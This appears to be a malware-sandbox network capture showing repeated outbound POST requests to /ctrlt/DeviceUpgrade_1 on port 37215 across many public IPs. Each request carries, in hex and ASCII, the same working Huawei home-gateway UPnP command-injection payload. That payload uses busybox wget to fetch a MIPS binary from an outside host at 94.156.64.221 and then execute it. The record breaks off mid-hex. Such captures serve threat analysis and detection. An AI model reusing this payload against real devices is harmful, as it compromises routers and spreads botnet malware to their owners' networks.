Jun 1, 2024 18:15:54.273749113 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.23	46148	197.69.9.82	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.273782015 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.23	40358	156.251.190.176	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.273833036 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.23	60218	156.211.151.21	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.273878098 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.23	35310	156.55.54.27	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.273911953 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.23	47462	41.90.29.90	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.273947954 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.23	48062	156.238.73.159	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.273986101 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.23	52602	156.150.168.22	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274024010 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.23	49540	197.225.16.119	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274063110 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.23	38926	156.11.214.49	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274132013 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.23	35414	41.44.205.135	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274187088 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 